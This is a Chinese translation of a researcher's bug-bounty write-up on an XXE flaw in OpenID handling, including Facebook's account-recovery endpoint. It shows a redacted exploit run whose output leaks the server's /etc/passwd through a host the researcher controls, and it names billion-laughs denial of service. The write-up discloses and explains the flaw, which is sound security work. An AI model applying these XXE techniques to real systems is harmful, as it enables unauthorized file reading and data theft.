我如何发现Facebook服务器中的远程代码执行漏洞

简介: 大家好!首先我做一下自我介绍。我叫Reginaldo Silva,是一名巴西籍的计算机工程师。最近我的工作与信息安全有关,尤其是在Web应用程序安全性的方面。如果可以的话,我很乐意给大家演示如何入侵网站和应用程序。我的主页上有一些相关信息,欢迎大家浏览。

大家好!首先我做一下自我介绍。我叫Reginaldo Silva,是一名巴西籍的计算机工程师。最近我的工作与信息安全有关,尤其是在Web应用程序安全性的方面。如果可以的话,我很乐意给大家演示如何入侵网站和应用程序。我的主页上有一些相关信息,欢迎大家浏览。


今天,我想讲一下我发现一个影响Facebook的远程漏洞代码的过程。正如一般的故事开头那样,这一过程也是在很长时间以前就开始了(实际上仅仅是一年多,但我依然感觉很漫长)。如果你觉得这个话题很有趣,或者想让我帮你在你的(或你公司的)代码中做一些有关审查和渗透测试的安全问题,请发邮件给我。我的邮箱是 reginaldo@ubercomp.com。


2012年的9月22日对我来说是个特别的日子,因为那天我发现了一个XML外部实体扩展(XXE)漏洞,它能影响Drupal管理OpenID的那部分功能。XML外部实体的功能很强大,它能读文件系统中的所有文件,能连接任意网络。如果你想寻求刺激,你可以用billion laughs进行DoS攻击。


最开始我并没有在意其他人也存在这样的漏洞,当我发现时,我立即将其提交到CVE上。这是我的第一个贡献,所以从那以后我将这条信息写在了简历上(这条漏洞的编号是CVE-2012-4554)。五天后,我突然想到OpenID的应用很广,因此,其它地方也可能存在这样的漏洞。我检查了一下StackOverflow的登录方式,发现的确存在漏洞,而且可危及整个网站。


然后,我准备查找谷歌服务器中的OpenID 代码。虽然我无法打开文件,无法进行网络连接,但谷歌的应用引擎和博客平台都很容易受到DoS攻击。这个漏洞让我赚到了第一桶金,大约有500美元。


在向谷歌报告了这个漏洞后,我又测试了几个实例,最后发现,这个漏洞正在危及许多系统。这里就不列举具体内容了,但是用Java, C#, PHP, Ruby, Python, Perl等语言编写的运行库或多或少都存在问题。不公布的原因是因为这些系统实在太脆弱了。一个了解安全机制的人可以读取OpenID 和XML外部实体,然后就能一段恶意代码进行攻击。哎呀,我有些跑题了。


之后我联系了一些编写OpenID库的开发者,有些作者只把安全列表托管在了OpenID基金会上面,我又给他们发了一篇题为“一个可以掌控一切的漏洞:运用XML外部实体实现 OpenID中的脆弱性”的邮件来说明这一问题。我想大部分库作者都是列表中的成员,所以补丁将会发给他们每个人。我自以为做得很好了,事实上,我才走了一小步而已。

跟我经常交流的读者依然有这样的问题:Facebook的远程代码执行漏洞到底是什么?它竟然使我们做到这种程度。过去,Facebook使用OpenID进行登录。然而,当我在2012年第一次发现OpenID漏洞的时候,我就找不到任何能进入任意OpenID网址的终结点。以前可以在

https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=false

动些手脚,现在 consumer_helper.php节点已经关闭了。一年后我以为Facebook的安全性有所提高,但我又测试了一下忘记密码得到了这样的结果:

https://www.facebook.com/openid/receiver.php

那时候我开始怀疑Facebook还是存在一年前我发现的那个漏洞的危害。然后我做了许多测试证明了这个猜想。简言之,如果你忘记密码了,你可以向Facebook说明你有一个@gmail.com的邮箱,然后登录自己邮箱后,把自己的信息提交给Facebook。这实际上是用邮箱登进Facebook的,这种登录方式就是基于OpenID的。到目前为止,一切都进展的不错,只是我自己遇到了些问题。我知道,由于工作的失误,OpenID的依赖方需要向已被控制的OpenID提供商(OP)发送一个Yadis发现请求,比如说http://www.ubercomp.com/。然后我的恶意提供商就会回复一个恶意的XML,它被依赖方解析,从而遭受XXE攻击。


因为我没有干预原始的OpenID请求(Facebook 与 Google之间的直接请求),实际上我没有机会进入在我控制下的作为OpenID标示符的网址,也没有让Facebook发送Yadis发现请求到这个网站。所以,我想这种错误应该不会发生了,除非我能获取谷歌到Facebook的那段恶意XML,而这种可能性极低。幸运的是,我错了。在仔细阅读了 OpenID 2.0 规范后,第11.2节验证发现的信息写到:


如果声明的标示符没有事先告诉依赖方(“openid标识”可以是“http://specs.openid.net/auth/2.0/identifier_select”,或是不同的标示符,或是OP发送的标识判断),依赖方必须提出来,以确保该OP有权对声称的身份标识做出判断。

我看了一下,openid标识果真是http://specs.openid.net/auth/2.0/identifier_select。实际上许多系统使用的都是这个。在几分钟后,我向 https://www.facebook.com/openid/receiver.php 发了一个请求,它可以让Facebook向一个被我控制的网站发送一个Yadis请求。之后会返回包含恶意XML的响应。 当我向Facebook服务器请求打开/dev/random,服务器不会返回响应,而且几分钟后请求会失效。即使如此,我还是不能打开任意文件。我尝试了许多XXE,包括各种组合和参数实体,但还是一无所获。然后我突然意识到在此过程中是存在一些问题的,改正之后……


$ bash exploit.sh

* About to connect() to www.facebook.com port 80 (#0)

*   Trying 31.13.75.1... connected

* Connected to www.facebook.com (31.13.75.1) port 80 (#0)

> GET /openid/receiver.php?provider_id=1010459756371

   &context=account_recovery&protocol=http&request_id=1

   &openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0

   &openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1

> Host: www.facebook.com

> Accept: */*

> User-Agent: Chrome

>

< HTTP/1.1 200 OK

< Cache-Control: private, no-cache, no-store, must-revalidate

< Expires: Sat, 01 Jan 2000 00:00:00 GMT

< P3P: CP="Facebook does not have a P3P policy. Learn why here:

http://fb.me/p3p"

< Pragma: no-cache

< X-Content-Type-Options: nosniff

< X-Frame-Options: DENY

< X-XRDS-Location: http://www.facebook.com/openid/xrds.php

< X-XSS-Protection: 0

< Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT;

   path=/; domain=.facebook.com; httponly

< Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;

   path=/; domain=.facebook.com

< Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php

   %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp

   %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth

   %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;

   path=/; domain=.facebook.com

< Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php

   %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp

   %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth

   %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;

   path=/; domain=.facebook.com

< Content-Type: text/html; charset=utf-8

< X-FB-Debug: ...(redacted)...

< Date: Tue, 19 Nov 2013 15:34:24 GMT

< Transfer-Encoding: chunked

< Connection: keep-alive

<

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8" />

<script>

function envFlush(a) {

   function b(c) {

       for (var d in a) c[d] = a[d];

   }

   if (window.requireLazy) {

       window.requireLazy(['Env'], b);

   } else {

       Env = window.Env || {};

       b(Env);

   }

}

envFlush({

   "user": "0"

});

<title>Facebook</title>

<script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script>

<script type="text/javascript">window.Bootloader &&

 Bootloader.done(["ASVup"]);</script>

</head>

<body class="Locale_en_US">

<script type="text/javascript">

Bootloader.setResourceMap({

   "\/2NZV": {

       "type": "js",

       "crossOrigin": 1,

       "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js"

   },

   "GduTW": {

       "type": "js",

       "crossOrigin": 1,

       "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js"

   }

});

</script>

<script type="text/javascript">

require("InitialJSLoader").loadOnDOMContentReady(["GduTW","\/2NZV"]);

</script>

<script type="text/javascript">

Bootloader.configurePage([]);

Bootloader.done([]);

require("InitialJSLoader").handleServerJS({

   "require": [

       ["OnloadHooks"],

       ["lowerDomain"]

   ]

});

onloadRegister_DEPRECATED(function () {

   openid_submit_response({

       "__ar": 1,

       "error": 1428005,

       "errorSummary": "Error while processing response",

       "errorDescription": {

           "__html": " \

There was an error while processing the OpenID response. \

No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \

<br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \

got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\

root:x:0:0:root:\/root:\/bin\/bash\n \

bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \

daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n \

adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \

lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \

sync:x:5:0:sync:\/sbin:\/bin\/sync\n \

shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \

halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \

mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \

uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \

operator:x:11:0:operator:\/root:\/sbin\/nologin\n \

games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \

gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \

ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \

nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \

dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \

...(REDACTED)..."

       },

       "payload": null,

       "bootloadable": {},

       "ixData": []

   }, 1)

});

</script>

</body>

</html>

* Connection #0 to host www.facebook.com left intact

* Closing connection #0

没错,响应中包含了Facebook的/etc/passwd。现在,我们可以随意访问了。我觉得我发现了通向王国的道路。通过Facebook 服务器视图节点能够读取任意文件和进行网络连接,视图节点不需要代理,这可是 Facebook不惜高成本建立的。随后我又有了新想法,觉得应该将其形成一个完整远程执行程序。


网络中漏洞奖励计划是非常好的方式,它也有自己的规则:不管何时发现了漏洞,请不要犹豫。将其按程序提交,安全小组会全面考虑,并向支付相应的报酬。起初,我并不信任 Facebook的安全小组,并且认为他们不会把我提交的漏洞看做是远程代码执行漏洞。我不想造成误解,所以我决定立即提交,然后我申请了一个权限进行RCE升级。升级完毕后,它可以正常运行。我想这应该没什么问题了。因为大部分漏洞都需要花很长时间来处理,我有足够的时间升级RCE,同时我觉得我是一个优秀的白帽黑客。在写完漏洞报告后,我决定出去走走,顺便吃个午餐,回来之后继续工作。


然而,我又错了,因为这是一个严重的漏洞,吃过午饭后,我加快了速度。我把报告发出去不到2个小时,让我既难忘又难过,但因为我知道如何升级远程代码执行漏洞,我将如何修复告诉了安全小组。当他们测试攻击是否有效时,我很相信他们给出的结论。我为我的作为而高兴。在接到一些反馈和4封邮件后,安全小组确认我的攻击是安全的,我发现的RCE的确能影响他们的服务器。


所以这就是攻击的入口,即我迄今发现的第一个高冲击漏洞。它大概也是悬赏最高的漏洞之一。另外,我还可以吹牛说我攻入了Facebook……不错,是吧?顺便说一句,安全小组的成员也写了一篇关于这事的文章


欢迎加入Hacker News进行讨论。

事件时间点

所有时间以格林威治标准时间。不重要的信息我就不提了。

  • 2013-11-19 15:51: 写报告
  • 2013-11-19 17:37: 安全小组成员Godot感谢我的发现
  • 2013-11-19 17:46: 我得到了可以读任意文件的答复
  • 2013-11-19 19:31: 安全小组成员 Emrakul通知我短暂的修复将持续30分钟。
  • 2013-11-19 20:27: 我确信漏洞已被修复。
  • 2013-11-21 20:03: 获得酬金。安全小组说这是他们目前支付的最高金额。
  • 2013-11-22 2:13: 我发了封邮件,询问安全小组把漏洞看做是RCE还是仅仅是文件泄露。
  • 2013-11-23 1:17: 安全小组回复说,他们认为攻击不能升级到RCE。
  • 2013-11-23 19:54: 我解释说明如何进行升级
  • 2013-11-24 21:23: Facebook 回复说我的攻击起作用了,他们会进行处理的。
  • 2013-12-03 4:45: Facebook 通知我说修复会持续一段时间,他们准备讨论一个新的报酬计划。
  • 2013-12-03 19:14: 我双手交叉,向他们表示感谢。
  • 2013-12-13 13:04: 我看到了一篇引自Ryan McGeehan的一篇文章,Ryan负责管理Facebook的事件响应部门,他说“如果有一个价值百万美元的漏洞,那么我们愿意支付”。然后又询问了一下他们是否有新消息。
  • 2013-12-30 4:45: Facebook通知我说漏洞已经成为了RCE,所以费用会更高。我不会透漏具体数额,你可以猜一猜,然后说出来。当然我也不会得到一百万那么多,我引用McGeehan的话仅仅是为了娱乐一下,不要当真。

相关文章
|
7月前
|
SQL 监控 安全
服务器安全性漏洞和常见攻击方式解析
服务器安全性漏洞和常见攻击方式解析
|
安全 Linux 数据安全/隐私保护
百度搜索:蓝易云【OpenVAS 检查 Linux 服务器漏洞教程!】
通过上述步骤,你可以在Linux服务器上使用OpenVAS进行漏洞检测。请注意,漏洞检测和扫描是一个复杂的过程,需要持续的更新和管理。建议参考OpenVAS的官方文档和用户指南,以了解更多关于配置和使用OpenVAS的详细信息。
144 0
百度搜索:蓝易云【OpenVAS 检查 Linux 服务器漏洞教程!】
|
1月前
|
安全 算法 Linux
Linux 服务器还有漏洞?建议使用 OpenVAS 日常检查!
在数字化时代,Linux 服务器的安全至关重要。OpenVAS 是一款优秀的开源漏洞扫描工具,可以帮助及时发现并修复服务器中的安全隐患。本文将介绍 OpenVAS 的主要功能、使用方法及应对漏洞的措施,帮助用户加强服务器安全管理,确保企业数字化安全。
59 7
|
5月前
|
弹性计算 安全 Linux
云服务器 ECS产品使用问题之如何处理Linux软件漏洞
云服务器ECS(Elastic Compute Service)是各大云服务商阿里云提供的一种基础云计算服务,它允许用户租用云端计算资源来部署和运行各种应用程序。以下是一个关于如何使用ECS产品的综合指南。
|
7月前
|
安全 算法 Linux
【专栏】Linux 服务器还有漏洞?OpenVAS 是一款开源的漏洞扫描工具,用于全面评估 Linux 服务器安全
【4月更文挑战第28天】OpenVAS 是一款开源的漏洞扫描工具,用于全面评估 Linux 服务器安全。它具有全面性、准确性和实时性的特点,能扫描各种设备并及时发现安全漏洞。使用 OpenVAS 包括安装、配置和执行扫描,以及分析结果并采取修复措施。在使用过程中应注意扫描时间、范围和策略的选择。通过定期检查和修复漏洞,结合其他安全措施,可以提升服务器安全性。OpenVAS 是保障 Linux 服务器安全的重要工具,但安全维护也需要持续学习和适应新挑战。
209 1
|
监控 安全 网络安全
服务器被专门针对零日漏洞的.locked勒索病毒攻击,数据能否恢复?
        近日,国内多家公司服务器感染了后缀.locked勒索病毒,公司的服务器文件全部被加密,急需数据恢复,否则公司运作无法进行,部分企业经联系数据恢复工程师远程查看,并沟通协商了相应的解决方案,通过双方远程协同配合,最终在当天顺利完整恢复数据。
425 0
服务器被专门针对零日漏洞的.locked勒索病毒攻击,数据能否恢复?
|
7月前
|
安全 Java 数据中心
Confluence 数据中心和服务器中的严重漏洞 CVE-2023-22515
Confluence 的开发者 Atlassian 已承认此漏洞,并将其归类为损坏的访问控制问题。他们强调需要立即采取行动,并建议用户升级到最新版本以保护他们的系统。Atlassian 将该漏洞的严重级别评定为 Critical CVSS 10。
77 0
|
安全 网络安全 Apache
服务器漏洞修复之SSL/TLS协议信息泄露漏洞(CVE-2016-2183)
服务器漏洞修复之SSL/TLS协议信息泄露漏洞(CVE-2016-2183)
6701 0
|
存储 安全 算法
locked勒索病毒利用零日漏洞,企业服务器数据瞬间遭受致命加密
近日,网络安全界再次爆发了一起令人震惊的事件,一种名为"Locked"的勒索病毒利用软件中的零日漏洞,迅速传播并瞬间加密了大量企业服务器。这一事件引发了广泛的关注和恐慌,暴露出网络安全的脆弱性和企业在面对新兴威胁时的不足之处。91数据恢复在本文将对这一事件进行深入分析,探讨相关的影响和可能的防范措施。
locked勒索病毒利用零日漏洞,企业服务器数据瞬间遭受致命加密
|
存储 安全 Ubuntu
Linux服务器还有漏洞?建议使用 OpenVAS 日常检查!
Linux服务器还有漏洞?建议使用 OpenVAS 日常检查!
263 0